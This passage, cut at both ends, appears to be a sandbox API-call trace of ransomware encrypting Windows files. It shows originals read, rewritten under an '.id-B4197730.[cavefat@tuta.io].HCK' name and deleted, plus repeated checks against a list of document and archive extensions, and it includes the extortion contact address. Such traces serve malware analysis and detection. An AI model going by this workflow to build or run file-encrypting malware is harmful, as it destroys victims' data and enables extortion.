"c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.007] GetLastError () returned 0x0 [0148.007] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x81, lpOverlapped=0x0) returned 1 [0148.008] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x90, lpOverlapped=0x0) returned 1 [0148.009] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.009] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xea, lpOverlapped=0x0) returned 1 [0148.009] SetEndOfFile (hFile=0x2ec) returned 1 [0148.009] CloseHandle (hObject=0x2ec) returned 1 [0148.010] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.010] SetEndOfFile (hFile=0x2e8) returned 1 [0148.010] CloseHandle (hObject=0x2e8) returned 1 [0148.011] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x26) returned 1 [0148.011] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0148.011] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0148.011] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0148.011] lstrlenW (lpString=".doc") returned 4 [0148.011] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0148.011] lstrlenW (lpString=".docx") returned 5 [0148.011] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0148.011] lstrlenW (lpString=".pdf") returned 4 [0148.011] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0148.011] lstrlenW (lpString=".xls") returned 4 [0148.011] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0148.011] lstrlenW (lpString=".xlsx") returned 5 [0148.011] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0148.011] lstrlenW (lpString=".ppt") returned 4 [0148.011] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0148.011] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0148.011] lstrlenW (lpString=".zip") returned 4 [0148.011] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0148.012] lstrlenW (lpString=".rar") returned 4 [0148.012] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0148.012] lstrlenW (lpString=".bz2") returned 4 [0148.012] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0148.012] lstrlenW (lpString=".7z") returned 3 [0148.012] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0148.012] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0148.012] lstrlenW (lpString=".dbf") returned 4 [0148.012] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0148.012] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0148.012] lstrlenW (lpString=".1cd") returned 4 [0148.012] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0148.012] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0148.012] lstrlenW (lpString=".jpg") returned 4 [0148.012] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0148.012] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0148.012] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0148.012] lstrlenW (lpString=".doc") returned 4 [0148.012] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0148.012] lstrlenW (lpString=".docx") returned 5 [0148.012] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0148.012] lstrlenW (lpString=".pdf") returned 4 [0148.012] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0148.012] lstrlenW (lpString=".xls") returned 4 [0148.012] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0148.012] lstrlenW (lpString=".xlsx") returned 5 [0148.012] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0148.012] lstrlenW (lpString=".ppt") returned 4 [0148.012] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0148.012] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0148.012] lstrlenW (lpString=".zip") returned 4 [0148.012] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0148.012] lstrlenW (lpString=".rar") returned 4 [0148.012] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0148.012] lstrlenW (lpString=".bz2") returned 4 [0148.012] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0148.012] lstrlenW (lpString=".7z") returned 3 [0148.012] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0148.012] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0148.012] lstrlenW (lpString=".dbf") returned 4 [0148.012] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0148.012] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0148.012] lstrlenW (lpString=".1cd") returned 4 [0148.012] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0148.012] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0148.012] lstrlenW (lpString=".jpg") returned 4 [0148.013] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0148.013] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0148.013] lstrlenW (lpString="desktop.ini") returned 11 [0148.013] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.013] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=129) returned 1 [0148.013] CloseHandle (hObject=0x2e8) returned 1 [0148.013] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0148.013] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.013] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.013] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.013] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.013] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.013] GetLastError () returned 0x0 [0148.014] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x81, lpOverlapped=0x0) returned 1 [0148.014] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x90, lpOverlapped=0x0) returned 1 [0148.015] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.015] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xea, lpOverlapped=0x0) returned 1 [0148.015] SetEndOfFile (hFile=0x2ec) returned 1 [0148.015] CloseHandle (hObject=0x2ec) returned 1 [0148.016] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.016] SetEndOfFile (hFile=0x2e8) returned 1 [0148.016] CloseHandle (hObject=0x2e8) returned 1 [0148.016] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x26) returned 1 [0148.017] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0148.017] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0148.017] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0148.017] lstrlenW (lpString=".doc") returned 4 [0148.017] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0148.017] lstrlenW (lpString=".docx") returned 5 [0148.017] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0148.017] lstrlenW (lpString=".pdf") returned 4 [0148.017] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0148.017] lstrlenW (lpString=".xls") returned 4 [0148.017] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0148.017] lstrlenW (lpString=".xlsx") returned 5 [0148.017] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0148.017] lstrlenW (lpString=".ppt") returned 4 [0148.017] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0148.017] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0148.017] lstrlenW (lpString=".zip") returned 4 [0148.017] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0148.017] lstrlenW (lpString=".rar") returned 4 [0148.017] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0148.017] lstrlenW (lpString=".bz2") returned 4 [0148.017] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0148.017] lstrlenW (lpString=".7z") returned 3 [0148.017] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0148.017] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0148.017] lstrlenW (lpString=".dbf") returned 4 [0148.017] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0148.018] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0148.018] lstrlenW (lpString=".1cd") returned 4 [0148.018] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0148.018] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0148.018] lstrlenW (lpString=".jpg") returned 4 [0148.018] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0148.018] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0148.018] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0148.018] lstrlenW (lpString=".doc") returned 4 [0148.018] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0148.018] lstrlenW (lpString=".docx") returned 5 [0148.018] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0148.018] lstrlenW (lpString=".pdf") returned 4 [0148.018] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0148.018] lstrlenW (lpString=".xls") returned 4 [0148.018] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0148.018] lstrlenW (lpString=".xlsx") returned 5 [0148.018] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0148.018] lstrlenW (lpString=".ppt") returned 4 [0148.018] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0148.018] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0148.018] lstrlenW (lpString=".zip") returned 4 [0148.018] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0148.018] lstrlenW (lpString=".rar") returned 4 [0148.018] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0148.018] lstrlenW (lpString=".bz2") returned 4 [0148.018] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0148.018] lstrlenW (lpString=".7z") returned 3 [0148.018] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0148.018] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0148.018] lstrlenW (lpString=".dbf") returned 4 [0148.018] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0148.018] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0148.018] lstrlenW (lpString=".1cd") returned 4 [0148.018] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0148.018] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0148.018] lstrlenW (lpString=".jpg") returned 4 [0148.018] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0148.018] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.019] lstrlenW (lpString="eula.rtf") returned 8 [0148.019] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.040] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=7567) returned 1 [0148.040] CloseHandle (hObject=0x2f4) returned 1 [0148.040] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0148.056] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.056] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.057] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.057] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.057] GetLastError () returned 0x0 [0148.057] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0148.059] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x1d90, lpOverlapped=0x0) returned 1 [0148.059] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.059] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.059] SetEndOfFile (hFile=0x2f4) returned 1 [0148.060] CloseHandle (hObject=0x2f4) returned 1 [0148.060] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.060] SetEndOfFile (hFile=0x2ec) returned 1 [0148.061] CloseHandle (hObject=0x2ec) returned 1 [0148.061] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.061] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0148.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0148.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0148.062] lstrlenW (lpString=".doc") returned 4 [0148.062] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.062] lstrlenW (lpString=".docx") returned 5 [0148.062] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.062] lstrlenW (lpString=".pdf") returned 4 [0148.062] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.062] lstrlenW (lpString=".xls") returned 4 [0148.062] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.062] lstrlenW (lpString=".xlsx") returned 5 [0148.062] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.062] lstrlenW (lpString=".ppt") returned 4 [0148.062] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0148.062] lstrlenW (lpString=".zip") returned 4 [0148.062] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.062] lstrlenW (lpString=".rar") returned 4 [0148.062] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.062] lstrlenW (lpString=".bz2") returned 4 [0148.062] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.062] lstrlenW (lpString=".7z") returned 3 [0148.062] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0148.062] lstrlenW (lpString=".dbf") returned 4 [0148.062] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0148.062] lstrlenW (lpString=".1cd") returned 4 [0148.062] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0148.062] lstrlenW (lpString=".jpg") returned 4 [0148.062] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0148.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0148.062] lstrlenW (lpString=".doc") returned 4 [0148.063] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.063] lstrlenW (lpString=".docx") returned 5 [0148.063] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.063] lstrlenW (lpString=".pdf") returned 4 [0148.063] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.063] lstrlenW (lpString=".xls") returned 4 [0148.063] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.063] lstrlenW (lpString=".xlsx") returned 5 [0148.063] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.063] lstrlenW (lpString=".ppt") returned 4 [0148.063] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0148.063] lstrlenW (lpString=".zip") returned 4 [0148.063] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.063] lstrlenW (lpString=".rar") returned 4 [0148.063] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.063] lstrlenW (lpString=".bz2") returned 4 [0148.063] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.063] lstrlenW (lpString=".7z") returned 3 [0148.063] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0148.063] lstrlenW (lpString=".dbf") returned 4 [0148.063] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0148.063] lstrlenW (lpString=".1cd") returned 4 [0148.063] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0148.063] lstrlenW (lpString=".jpg") returned 4 [0148.063] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.063] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.063] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.063] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.064] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=60816) returned 1 [0148.064] CloseHandle (hObject=0x2ec) returned 1 [0148.064] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0148.064] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.064] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.064] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.065] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.065] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.065] GetLastError () returned 0x0 [0148.065] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0xed90, lpOverlapped=0x0) returned 1 [0148.067] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0148.068] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.068] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.068] SetEndOfFile (hFile=0x2f4) returned 1 [0148.069] CloseHandle (hObject=0x2f4) returned 1 [0148.070] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.070] SetEndOfFile (hFile=0x2ec) returned 1 [0148.071] CloseHandle (hObject=0x2ec) returned 1 [0148.071] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", 